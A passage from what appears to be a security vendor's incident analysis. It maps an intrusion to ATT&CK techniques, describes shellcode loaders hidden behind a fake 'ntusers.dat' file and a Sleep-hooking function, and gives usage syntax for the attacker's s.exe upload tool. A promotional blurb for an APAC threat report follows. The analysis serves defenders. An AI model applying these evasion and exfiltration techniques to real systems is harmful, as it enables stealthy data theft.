Use of various suspicious binaries prepared by the attacker specifically for this attack | The attacker used custom tools: s.exe winpdasd.exe windpchsvc.exe (see detailed report below) |
T1497: Virtualization/Sandbox Evasion |
|
Detected the HookSleep function (see below) | The attacker attempted to detect sandboxing. The emulation detection was found in the custom tools: winpdasd.exe and windpchsvc.exe |
T1036.005: Match Legitimate Name or Location |
|
Operations with the file c:\users\Default\ntusers.dat | The attacker attempted to hide a shellcode inside a file with a name similar to the legitimate ntuser.dat |
T1140: Deobfuscate/Decode Files or Information |
|
The file ntusers.dat contained an encoded shellcode, which was later executed by winpdasd.exe and windpchsvc.exe | The attacker executed arbitrary code |
T1560.001: Archive via Utility |
|
Use of the RAR archiver for data collection | The attacker archived the stolen credentials and documents |
T1048.003: Exfiltration Over Unencrypted Non-C2 Protocol |
|
Command line analysis | The attacker used a custom tool to exfiltrate data |
|
Analysis of the process that initiated the connection |
Both malware samples are designed to extract a payload from a file, decode it, and directly execute it via a function call. The payload is encoded shellcode.
Both files read in from a file intended to deceive investigators and users by applying naming conventions that are similar to system files:
Payload file for windpchsvc.exe
The malware, windpchsvc.exe, reads from the file c:\users\Default\ntusers.dat. A legitimate file, named ntuser.dat, exists in this location. Note that the bona fide registry file does not contain an ‘s’.
A similar file name was used for the winpdasd.exe malware:
Payload file for winpdasd.exe
The malware reads from this file and decodes the bytes for direct execution via a function call as seen below (call [ebp+payload_alloc] and call esi ):
windpchsvc.exe: decode, allocate memory, copy to mem, execute
winpdasd.exe: decode, allocate memory, copy to mem, execute via function call
The payload files (ntusers.dat) contain the main logic, while the samples we analyzed are just the loaders.
Some of the images show a function that I labeled “HookSleep” and which might be used for sandbox evasion in other forms of this malware. The function has no direct effect on the execution of the payload.
The decompiled function can be seen below:
The “HookSleep” function found in both files, decompiled
When debugging, this worked as expected. The Win32 Sleep function is directed to the defined function in the malware:
The Sleep function redirected back to the malware code
This file can be classified as a simple network transfer tool capable of uploading or downloading. The basic parameters are as follows:
s.exe <file> <IP address> <port> <up|down>
This is basically netcat without all the features. The benefit of this is that it does not draw as much attention as netcat. In fact, while testing, we found that netcat, when set to listen, was able to receive a file from this sample and output to a file (albeit with some added junk characters in the results). We also found that the sample was incapable of executing anything after a download or upload.
The algorithm is pretty simple: network startup, parse arguments, create socket, send file or wait for file based on arguments. The decompiled main function can be seen below:
Decompiled network transfer tool
[1] The actual name of the binary is unimportant; hence it was skipped.
[2] Kaspersky Endpoint Security efficiently protects LSASS memory.
To prevent a cyberattack, it is vital to know what the attack surface for your organization is. To be prepared to repel the attacks of cybercriminals, businesses around the world collect threat intelligence themselves or subscribe for threat intelligence services.
Continuous threat research enables Kaspersky to discover, infiltrate and monitor resources frequented by adversaries and cybercriminals worldwide. Kaspersky Digital Footprint Intelligence leverages this access to proactively detect threats targeted at organizations worldwide, their assets or brands, and alert our customers to them.
In our public reports, we provide overview of threats for different industries and regions based on the anonymized data collected by Kaspersky Digital Footprint Intelligence. Last time, we shared insights on the external attack surface for businesses and government organizations in the Middle East. This report focuses on Asia Pacific, Australia and China. We analyzed data on external threats and criminal activities affecting more than 4,700 organizations in 15 countries and territories across this region.
You can find more information about the external attack surface for organizations in APAC region, as well as data sold and searched for in the dark web, in the full version of our report. Fill in the form to download it.
If you do not see the form above this sentence, please, add this page to exceptions in your browser privacy settings and/or your ad blocker.
]]>